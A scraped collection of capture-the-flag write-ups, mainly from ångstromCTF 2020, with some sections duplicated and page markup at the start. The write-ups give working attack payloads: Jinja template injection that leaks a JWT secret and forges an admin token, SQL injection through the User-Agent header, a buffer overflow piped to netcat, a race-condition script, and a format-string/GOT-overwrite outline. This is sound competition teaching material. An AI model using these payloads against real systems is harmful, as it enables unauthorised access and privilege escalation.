<path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
For Woooosh we had a clicker game with an obfuscated clicker game. Looking at the source they use the first shape as the circle. ```jsif (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) { game.score++;}``` So when we receive the generated shapes we just need to pick the first! I opened a socket and started by emitting `start`. ```jssocket.emit("start");``` Afterwards we just need to listen for events and reply.Bellow is the clicking function. ```jssocket.on('shapes', shapes => { socket.emit("click", shapes[0].x, shapes[0].y);});``` And you'll need this to get the flag. ```jssocket.on('disp', disp => { console.log(disp);});```
if we login as guest , we'll got a jwt token ```"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQ2MzE1MzksIm5iZiI6MTU4NDYzMTUzOSwianRpIjoiMTVlYjM3NGQtNjM2MS00YTViLWJkOWMtYWRlMTA1NGRhMWJmIiwiaWRlbnRpdHkiOiJndWVzdCIsImZyZXNoIjpmYWxzZSwidHlwZSI6ImFjY2VzcyJ9.uL2EnxrI-nmAivK526z1WW5pYCbuM1m0DnSt80Ua8t8"```also we can find jwt secret key with jinja ssti payload:```http://66.172.11.208:5000/{{config.get('JWT_SECRET_KEY')}}this_is_a_$uper_secure_key```now we can decode/encode token with https://github.com/noraj/flask-session-cookie-manager or https://www.jsonwebtoken.io/ and secret:```{ "iat": 1584631539, "nbf": 1584631539, "jti": "15eb374d-6361-4a5b-bd9c-ade1054da1bf", "identity": "guest", "fresh": false, "type": "access", "exp": 1584636088}```so we should change ```guest``` to ```admin``````eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQ2MzE1MzksIm5iZiI6MTU4NDYzMTUzOSwianRpIjoiMTVlYjM3NGQtNjM2MS00YTViLWJkOWMtYWRlMTA1NGRhMWJmIiwiaWRlbnRpdHkiOiJhZG1pbiIsImZyZXNoIjpmYWxzZSwidHlwZSI6ImFjY2VzcyIsImV4cCI6MTU4NDYzNjI2MH0.oxecwSBNV1ForC6hwNTZTkLQUvDL1odm2z1dcfNdc0E```then request flag with this token```SUSEC{server_$ide_R3ND3R!NG_is_a_bad_idea}```
# **Shifter (160pts) (455 Solves)** ![TASK](https://imgur.com/SZjr2vw.png) When we connect to the netcat service we get this message ![JWT](https://imgur.com/MMLIhgh.png) So the task is pretty simple , it just needs some coding skills , here is my solver ## **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/Shifter/exploit.py)**
Format string vulnerability to leak stack and libc addresses. Overwrite return address to return to main for more input opportunities. Overwrite printf GOT with system and send /bin/sh\x00 as next payload. See original for more details.
100 points, 250 solvesMy super secure service is available now! Heck, even with the source, I bet you won't figure it out. ```nc misc.2020.chall.actf.co 20301``` Author: JoshDaBosh Source code :```import random, timeimport stringimport base64import os def otp(a, b): r = "" for i, j in zip(a, b): r += chr(ord(i) ^ ord(j)) return r def genSample(): p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))]) k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))]) x = otp(p, k) return x, p, k random.seed(int(time.time())) print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")print("Enter:")print("\t1) Request sample")print("\t2) Try your luck at decrypting something!") while True: choice = int(input("> ")) if choice == 1: x, p, k = genSample() print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode()) elif choice == 2: x, p, k = genSample() print(base64.b64encode(x.encode()).decode()) a = input("Your answer: ").strip() if a == p: print(os.environ.get("FLAG")) break else: print("Wrong! The correct answer was", p, "with key", k)``` First of all we notice that the encrypted string is generated based on time.And the decoded string is giving to us when we submit a wrong answer. All we have to do is create 2 simultanious connection wich will create the same encrypted stringwe submit the wrong answer and retrieve the correct one and then submit it to the 2nd connection. This is not the intended way but still, i thought you may want to know about this. Here is the used script : ```python#!/usr/bin/python3 from pwn import * con1 = remote("misc.2020.chall.actf.co", 20301)con2 = remote("misc.2020.chall.actf.co", 20301) for i in range(6): con1.recvline() con2.recvline() con1.recv(1024)con2.recv(1024) con1.sendline("2")con2.sendline("2") #for i in range(2):con1.recvline()con2.recvline() con1.sendline("garbage")con1.recv(1024)con2.sendline(con1.recvline().decode().split(" ")[5]) con1.close()log.warning(f"Flag: {con2.recvline().decode().split(' ')[2]}") ```
```from pwn import *import structbuffsize = 40addr =p64(0x401186)payload = "A" * buffsize + addrx = remote("shell.actf.co",20700)x.recv()x.recvuntil(" name?")x.sendline(payload)x.stream()#actf{that_gosh_darn_canary_got_me_pwned!}```
TL;DR: 1 - Try to reverse 2 - Give up on Reversing Rust 3 - Identify which output bits each char affects 5 - Brute-force the flag char by char until each bit has the target value
# Consolation **50 Points** In this challenge we have button that when you click it the money appearing on screen keeps increasing. ![Imgur](https://i.imgur.com/DyLPgwG.png) but when you open the console you see that the app cleared it ![Imgur](https://i.imgur.com/Pc3QMgu.png) viewing the source code we see that nofret function gets called when we click the button ![Imgur](https://i.imgur.com/ry45FhQ.png) we view the js code to see what does this function do and it's kinda obfuscated but wee see that it does something and then clears the console ![Imgur](https://i.imgur.com/1ThDFqz.png) so we just execute it in the console but without the clear console command and we have the flag ![Imgur](https://i.imgur.com/7JRQsQU.png) **Flag=actf{you\_would\_n0t\_beli3ve\_your\_eyes}**
# ångstromCTF 2020![ångstromCTF 2020](angstromCTF2020.png) ångstromCTF 2020 was really a great competition and we as [**P1rates**](https://2020.angstromctf.com/teams/6525) team enjoyed it and learned a lot, I participated as **T1m3-m4ch1n3** and Here's my writeup about what i solved. ## Challenges | Title | Category | Score || ---------------------------------- |:-------------------------------:| -----:|| [Keysar](#Keysar) | Crypto | 40 || [No Canary](#no-canary) | Binary Exploitation | 50 || [Revving Up](#revving-up) | Reversing | 50 || [Inputter](#inputter) | Misc | 100 || [msd](#msd) | Misc | 140 | --- ## Keysar#### Crypto (40 points) ### Description:> **Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.> He mumbled what cipher he used, but I think I have a clue.> Gotta go though, I have history homework!!> agqr{yue_stdcgciup_padas}** > *Hint: Keyed caesar, does that even exist??* ### solution: Well, as it's obvious from the title it has something to do with "Ceaser Cipher" and as the hint says "Keyed Ceaser" so i used this [site](http://rumkin.com/tools/cipher/caesar-keyed.php) to decrypt the flag given the key provided and BOOM! we got the flag! Flag: ``` actf{yum_delicious_salad} ``` --- ## No Canary#### Binary Exploitation (50 points) ### Description:> **Agriculture is the most healthful, most useful and most noble employment of man.> —George Washington> Can you call the flag function in this [program](No%20Canary/no_canary) ([source](No%20Canary/no_canary.c))? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.** > *Hint: What's dangerous about the gets function?* ### solution: The answer for the hint is simple .. It's "overflow"! .. gets function doesn't restrict the user input length and hence we can make an overflow given the address of flag() function to read the flag.txt! So to get the address of flag() function we will use gdb```$ gdb no_canary(gdb) set disassembly-flavor intel(gdb) info func0x0000000000401000 _init0x0000000000401030 puts@plt0x0000000000401040 setresgid@plt0x0000000000401050 system@plt0x0000000000401060 printf@plt0x0000000000401070 gets@plt0x0000000000401080 getegid@plt0x0000000000401090 setvbuf@plt0x00000000004010a0 _start0x00000000004010d0 _dl_relocate_static_pie0x00000000004010e0 deregister_tm_clones0x0000000000401110 register_tm_clones0x0000000000401150 __do_global_dtors_aux0x0000000000401180 frame_dummy0x0000000000401186 flag0x0000000000401199 main0x00000000004012e0 __libc_csu_init0x0000000000401350 __libc_csu_fini0x0000000000401358 _fini``` Nice! we got the address **0x00401186** .. Now we know that name variable is of size 20 so we need a payload > 20 to reach to rip register and put the address of flag() function in there. We need to see the main function:```(gdb) disas main . . 0x00000000004012ba <+289>: call 0x401070 <gets@plt> 0x00000000004012bf <+294>: lea rax,[rbp-0x20] . .```And then setting a breakpoint at **0x004012bf** right after call gets() function instruction:```(gdb) b *0x004012bf```We'll run the program using a payload of 20 "A"s letter:```(gdb) r <<< $(python -c "print 'A' * 20")```Now we hit the breakpoint, We also need to know the saved rip register value so we can detect it on the stack and optimize our payload to target it:```(gdb) info frameStack level 0, frame at 0x7fffffffe590: rip = 0x4012bf in main; saved rip = 0x7ffff7a5a2e1..```So our target is **0x7ffff7a5a2e1** .. Now by examining the stack:```(gdb) x/100x $rsp0x7fffffffe560: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe570: 0x41414141 0x00007f00 0x00000000 0x00002af80x7fffffffe580: .0x004012e0 0x00000000 0xf7a5a2e1 0x00007fff..```It's so clear that **0xf7a5a2e1 0x00007fff** is the saved rip register in little-endian and if we can replace it with the flag() function address which is **0x0000000000401186** we can change the flow of the program to print the flag! so our final payload will be:```(gdb) r <<< $(python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00'")```That was locally, and by applying it to **nc shell.actf.co 20700** it should give us the flag:```$ python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00' | nc shell.actf.co 20700``` Flag: ``` actf{that_gosh_darn_canary_got_me_pwned!} ``` --- ## Revving Up#### Reversing (50 points) ### Description:> **Clam wrote a [program](Revving%20Up/revving_up) for his school's cybersecurity club's first rev lecture!> Can you get it to give you the flag?> You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.** > *Hint: Try some google searches for "how to run a file in linux" or "bash for beginners".* ### solution:We go to the shell server and to the directory given we'll find 2 files flag.txt and revving_up And by: ```bash $ file revving_up ``` we know that it's ELF 64-bit and by running it:```$ ./revving_upCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes). ```After we type "give flag":```give flagGood job!Now run the program with a command line argument of "banana" and you'll be done!```So we do as it's said:```$ ./revving_up bananaCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes).give flagGood job!Well I think it's about time you got the flag!actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}```So easy, right ?!! Flag: ``` actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh} ``` --- ## Inputter#### Misc (100 points) ### Description:> **Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in [a challenge](Inputter/inputter). Can you satisfy his knack for strange and hard-to-input characters? [Source](Inputter/inputter.c).> Find it on the shell server at /problems/2020/inputter/.** > *Hint: There are ways to run programs without using the shell.* ### solution:By looking at the source we find interesting conditions:```cint main(int argc, char* argv[]) { setvbuf(stdout, NULL, _IONBF, 0); if (argc != 2) { puts("Your argument count isn't right."); return 1; } if (strcmp(argv[1], " \n'\"\x07")) { puts("Your argument isn't right."); return 1; } char buf[128]; fgets(buf, 128, stdin); if (strcmp(buf, "\x00\x01\x02\x03\n")) { puts("Your input isn't right."); return 1; } puts("You seem to know what you're doing."); print_flag();}```So now we know that:1. There's an argument we must provide when running the file2. The argument value must be ```" \n'\"\x07"``` *(without the quotes)*3. There's an input of value ```"\x00\x01\x02\x03\n"``` *(without the quotes)* I encoded the argument to hex so it became: ``` \x20\x0a\x27\x22\x07 ```*(the backslash \ before " is just to escape the character in the C source)* .. I tried many methods but the easier one to pass this value as argument is using the ```$''``` quote style .. for the input we can use either ``` echo -e ``` or ``` printf ``` the both commands do the same job .. now our full command is:```bash$ printf '\x00\x01\x02\x03\n' | ./inputter $'\x20\x0a\x27\x22\x07'You seem to know what you're doing.actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}``` Flag: ``` actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} ``` --- ## msd#### Misc (140 points) ### Description:> **You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the [Most Significant Digit](msb/public.py). Can you still power through it?Here's the [encoded image](msb/output.png), and here's the [original image](msb/breathe.jpg), for the... well, you'll see.Important: Don't use Python 3.8, use an older version of Python 3!** > *Hint: Look at the difference between the original and what I created!> Also, which way does LSB work?* ### solution:Nice, so before anything .. we have an original photo ```breathe.jpg```:![original image](msb/breathe.jpg) that has been encoded to ```output.png```:![encoded image](msb/output.png) using ```public.py``` script:```pythonfrom PIL import Image im = Image.open('breathe.jpg')im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT"flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png")pixels = im.load()``` By reading the script provided we conclude:1. flag variable has the decimal values of the characters of the flag ```(ex: "abc" -> "979899")```2. the for loop reads the pixels from top to bottom for each column in the photo starting from top left3. the first pixel in the photo it's first digit from the left "MSD" is replaced with the first digit from the left in the flag variable and the second pixel with the second digit in the flag, etc.. until the flag decimal values ends and then it starts over from the beggining of the flag, etc.. So if the pixel is ``` 104 ``` and the digit from flag decimal representition is ```2``` the pixel becomes ``` 204 ``` But there's a problem .. if the digit is 9 the pixel can not be ``` 904 ``` because the most value that can be stored to the pixel is ```255``` so in this case this digit is lost ... So the reversing of the code will be as follows:1. read the pixels of ``` output.png ```and ``` breathe.jpg ``` in the same direction as in the encryption process2. for each corresponding pixels compare the pixel of ```output.png``` with the pixel of ``` breathe.jpg ``` - if the 2 pixels have the same length AND the encrypted pixel is not equal 255, then get the first digit from left of the encrypted pixel (ex: 104, 204 -> 2) - if the length of the encrypted pixel is less than the length of the original pixel, then put a zero (ex: 123, 23 -> 0) - else then it's a lost digit and put 'x' to recognize it I wrote a script that can iterate through the whole image and do this decryption process: ```pythonfrom PIL import Image imorg = Image.open("breathe.jpg")im = Image.open('output.png') width, height = im.size def getchar(a, b): char = [] # to iterate through the RGB values of the one pixel for i in range(0, 3): x = list(str(a[i])) y = list(str(b[i])) if len(x) == len(y) and b[i] != 255: char.append(y[0]) elif len(y) < len(x): char.append('0') else: char.append('x') return ''.join(char) all = '' for j in range(height): for i in range(width): all += getchar(imorg.getpixel((i, j)), im.getpixel((i, j))) # since we know the first 5 letters of the flag "actf{" -> "9799116102123"pos = all.find('9799116102123')print(all[pos:pos+100])``` Now be running it:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810x10x103121104xxxx1x11```I used this [site](https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html) to decrypt the result after seperating the digits manually and the result was ``` actf{inhale_exhale_ezpz-12309b ``` .. it seems we got only a part of the flag but there are lost bits .. so we need to add the following couple of lines in our python script to print the next occurence of the flag```pythonpos = all.find('9799116102123')posnext = all.find('9799116', pos+1)print(all[posnext:posnext+100])```And by running again:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810510310312110497981211```Great! There are no lost bits .. Now decrypting again using the same site and yeah, we got the flag! Flag: ``` actf{inhale_exhale_ezpz-12309biggyhaby} ```
Hey guys back with another set of few writeups. # **CRYPTO** ## Discrete Superlog-:> description: You've heard of discrete log...now get ready for the discrete superlog. `Server 1: nc crypto.2020.chall.actf.co 20603` `Server 2: nc 3.234.224.95 20603` `Server 3: nc 3.228.7.55 20603` Author: lamchcl ### Solution: When we connect to the server,we were greeted with this ![image](assets/disc_log.png) So from the description we know we need to do something with *discrete log* . But then analyzing this opertor **^^** , we found that this is something we known as [Tetration](https://en.wikipedia.org/wiki/Tetration).So in [Discrete log](https://en.wikipedia.org/wiki/Discrete_logarithm) , for a function (a^x)=b mod p we need to find x by using baby-step giant-step method. But here the things are different and as they *Discrete superlog*. So let's brute the value of x , in simple words we check for each value of x.Having [Fermat's Little Theorem](https://en.wikipedia.org/wiki/Fermat%27s_little_theorem) in mind, I know pow(a,x,p)=pow(a,x mod(phi(p)),p ) where phi() is euler totient function. So whenever the power raised is getting bigger we will make it smaller by taking modulo over phi(p).Using simple recursion will help it. ##### Termination:The program will terminate when finally the power raised is getting modulo 1 or we would say phi(phi(phi....(p)....))=1.After then the answer will be same for every x. ```def tet(a,x,p): if p==1 or x==0: return 1 phi=totient(p) return pow(a,tet(a,x-1,phi),p)``` After testing over some values:```>>> tet(5,1,37)5>>> tet(5,2,37)17>>> tet(5,3,37)35>>> tet(5,4,37)35>>> tet(5,5,37)35``` Here is our final script: ```pythonfrom pwn import *from sympy.ntheory import totient def tet(a,x,p): if p==1 or x==0: return 1 phi=totient(p) return pow(a,tet(a,x-1,phi),p) r=remote("crypto.2020.chall.actf.co",20603)level=1 while 1: if level>10: print(r.recv()) exit() print(r.recvuntil("...\n")) details=r.recv() values=details.split("\n")[:-1] print(values) p=int(values[0].split()[-1]) a=int(values[1].split()[-1]) b=int(values[2].split()[-1]) x=0 while 1: c=tet(a,x,p) if c == b: break x+=1 print("x value : " + str( x ) ) r.sendline(str(x)) level+=1 r.close()``` We got [this response](assets/discsuperlog_response.txt) for the above [script](assets/dec_disclog.py): ![image](assets/flag_disclog.png) Here is our flag:`actf{lets_stick_to_discrete_log_for_now...}` ## Wacko Images-:> description: How to make hiding stuff a e s t h e t i c? And can you make it normal again? [enc.png](assets/enc.png) [image-encryption.py](assets/image-encryption.py) Author: floorthfloor ### Solution: So we are given a script which just encrypt the value of [r,g,b] values of each pixel in the image. And makes the image completely gibberish from outside. ![image](assets/enc.png) The given script:```pythonfrom numpy import *from PIL import Image flag = Image.open(r"flag.png")img = array(flag) key = [41, 37, 23] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): pixel[i] = pixel[i] * key[i] % 251 img[x][y] = pixel enc = Image.fromarray(img)enc.save('enc.png')```So if we see the script we found that values are multiplied by key array. So we need to just divide it (*modular division*) :smiley: . Here is our [script](assets/dec.py): ```pythonfrom numpy import *from PIL import Imagefrom gmpy2 import * flag = Image.open(r"enc.png")img = array(flag) key = [41, 37, 23]invkey=[invert(k,251) for k in key] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): pixel[i] = pixel[i] * invkey[i] % 251 img[x][y] = pixel dec = Image.fromarray(img)dec.save('flag.png')``` Voila! we got the flag: ![image](assets/flag.png) There is our flag : `actf{m0dd1ng_sk1llz}`
# Secret Agents **110 Points** this challenge they gave us a link and also a source code we first examine the source code ![Imgur](https://i.imgur.com/eBLh859.png) we see that it takes the user-agent header value and concatenate it with a sql query so we know its a sql injection where we apply our payload in the user-agent header but notice that it won't return the results if the requested rows where not equal to 1. so we use LIMIT and OFFSET to specify the row we want * LIMIT : limits the result to the number we specify * OFFSET : return the number of row we specify you can use curl to make the request but i will just use the custom device option in browsers ![Imgur](https://i.imgur.com/XvAmqg8.png) we click and we get a result but not the one we want ![Imgur](https://i.imgur.com/fuxqw2f.png) so we just increament the offset untill we get what we want and we get the flag in the second try ![Imgur](https://i.imgur.com/SZFdpVf.png) **Flag=actf{nyoom_1_4m_sp33d}** **PS: I didn't know about offset so i just used a payload to get to know how many columns are there 'union select'a','a';-- and i knew it was two columns because union only works if it have the same no of columns then i used the information scheme to get the the other column name, we know from the code that the first is UA and then we get the second column which is called Name so i used another payload 'union select Name,UA where Name='ac%';-- because i know the flag starts with ac, it's a complicated solution and the offset surely is better but i thought i can share another solution with you**
The image is just a bunch of random gibberish obviously, however we do have the encryption script to reverse. The only encrypting part of the script is the line : pixel[i] = pixel[i] * key[i] % 251 Since I got lazy I decided to just brute force this as there are only 255 numbers to check. if ((n * key[i]) % 251 == pixel[i]): pixel[i] = n If the number n, from 1 - 255 matches the above condition we know the n is the correct number. This will give us the decrypted image.
# ångstromCTF 2020![ångstromCTF 2020](angstromCTF2020.png) ångstromCTF 2020 was really a great competition and we as [**P1rates**](https://2020.angstromctf.com/teams/6525) team enjoyed it and learned a lot, I participated as **T1m3-m4ch1n3** and Here's my writeup about what i solved. ## Challenges | Title | Category | Score || ---------------------------------- |:-------------------------------:| -----:|| [Keysar](#Keysar) | Crypto | 40 || [No Canary](#no-canary) | Binary Exploitation | 50 || [Revving Up](#revving-up) | Reversing | 50 || [Inputter](#inputter) | Misc | 100 || [msd](#msd) | Misc | 140 | --- ## Keysar#### Crypto (40 points) ### Description:> **Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.> He mumbled what cipher he used, but I think I have a clue.> Gotta go though, I have history homework!!> agqr{yue_stdcgciup_padas}** > *Hint: Keyed caesar, does that even exist??* ### solution: Well, as it's obvious from the title it has something to do with "Ceaser Cipher" and as the hint says "Keyed Ceaser" so i used this [site](http://rumkin.com/tools/cipher/caesar-keyed.php) to decrypt the flag given the key provided and BOOM! we got the flag! Flag: ``` actf{yum_delicious_salad} ``` --- ## No Canary#### Binary Exploitation (50 points) ### Description:> **Agriculture is the most healthful, most useful and most noble employment of man.> —George Washington> Can you call the flag function in this [program](No%20Canary/no_canary) ([source](No%20Canary/no_canary.c))? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.** > *Hint: What's dangerous about the gets function?* ### solution: The answer for the hint is simple .. It's "overflow"! .. gets function doesn't restrict the user input length and hence we can make an overflow given the address of flag() function to read the flag.txt! So to get the address of flag() function we will use gdb```$ gdb no_canary(gdb) set disassembly-flavor intel(gdb) info func0x0000000000401000 _init0x0000000000401030 puts@plt0x0000000000401040 setresgid@plt0x0000000000401050 system@plt0x0000000000401060 printf@plt0x0000000000401070 gets@plt0x0000000000401080 getegid@plt0x0000000000401090 setvbuf@plt0x00000000004010a0 _start0x00000000004010d0 _dl_relocate_static_pie0x00000000004010e0 deregister_tm_clones0x0000000000401110 register_tm_clones0x0000000000401150 __do_global_dtors_aux0x0000000000401180 frame_dummy0x0000000000401186 flag0x0000000000401199 main0x00000000004012e0 __libc_csu_init0x0000000000401350 __libc_csu_fini0x0000000000401358 _fini``` Nice! we got the address **0x00401186** .. Now we know that name variable is of size 20 so we need a payload > 20 to reach to rip register and put the address of flag() function in there. We need to see the main function:```(gdb) disas main . . 0x00000000004012ba <+289>: call 0x401070 <gets@plt> 0x00000000004012bf <+294>: lea rax,[rbp-0x20] . .```And then setting a breakpoint at **0x004012bf** right after call gets() function instruction:```(gdb) b *0x004012bf```We'll run the program using a payload of 20 "A"s letter:```(gdb) r <<< $(python -c "print 'A' * 20")```Now we hit the breakpoint, We also need to know the saved rip register value so we can detect it on the stack and optimize our payload to target it:```(gdb) info frameStack level 0, frame at 0x7fffffffe590: rip = 0x4012bf in main; saved rip = 0x7ffff7a5a2e1..```So our target is **0x7ffff7a5a2e1** .. Now by examining the stack:```(gdb) x/100x $rsp0x7fffffffe560: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe570: 0x41414141 0x00007f00 0x00000000 0x00002af80x7fffffffe580: .0x004012e0 0x00000000 0xf7a5a2e1 0x00007fff..```It's so clear that **0xf7a5a2e1 0x00007fff** is the saved rip register in little-endian and if we can replace it with the flag() function address which is **0x0000000000401186** we can change the flow of the program to print the flag! so our final payload will be:```(gdb) r <<< $(python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00'")```That was locally, and by applying it to **nc shell.actf.co 20700** it should give us the flag:```$ python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00' | nc shell.actf.co 20700``` Flag: ``` actf{that_gosh_darn_canary_got_me_pwned!} ``` --- ## Revving Up#### Reversing (50 points) ### Description:> **Clam wrote a [program](Revving%20Up/revving_up) for his school's cybersecurity club's first rev lecture!> Can you get it to give you the flag?> You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.** > *Hint: Try some google searches for "how to run a file in linux" or "bash for beginners".* ### solution:We go to the shell server and to the directory given we'll find 2 files flag.txt and revving_up And by: ```bash $ file revving_up ``` we know that it's ELF 64-bit and by running it:```$ ./revving_upCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes). ```After we type "give flag":```give flagGood job!Now run the program with a command line argument of "banana" and you'll be done!```So we do as it's said:```$ ./revving_up bananaCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes).give flagGood job!Well I think it's about time you got the flag!actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}```So easy, right ?!! Flag: ``` actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh} ``` --- ## Inputter#### Misc (100 points) ### Description:> **Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in [a challenge](Inputter/inputter). Can you satisfy his knack for strange and hard-to-input characters? [Source](Inputter/inputter.c).> Find it on the shell server at /problems/2020/inputter/.** > *Hint: There are ways to run programs without using the shell.* ### solution:By looking at the source we find interesting conditions:```cint main(int argc, char* argv[]) { setvbuf(stdout, NULL, _IONBF, 0); if (argc != 2) { puts("Your argument count isn't right."); return 1; } if (strcmp(argv[1], " \n'\"\x07")) { puts("Your argument isn't right."); return 1; } char buf[128]; fgets(buf, 128, stdin); if (strcmp(buf, "\x00\x01\x02\x03\n")) { puts("Your input isn't right."); return 1; } puts("You seem to know what you're doing."); print_flag();}```So now we know that:1. There's an argument we must provide when running the file2. The argument value must be ```" \n'\"\x07"``` *(without the quotes)*3. There's an input of value ```"\x00\x01\x02\x03\n"``` *(without the quotes)* I encoded the argument to hex so it became: ``` \x20\x0a\x27\x22\x07 ```*(the backslash \ before " is just to escape the character in the C source)* .. I tried many methods but the easier one to pass this value as argument is using the ```$''``` quote style .. for the input we can use either ``` echo -e ``` or ``` printf ``` the both commands do the same job .. now our full command is:```bash$ printf '\x00\x01\x02\x03\n' | ./inputter $'\x20\x0a\x27\x22\x07'You seem to know what you're doing.actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}``` 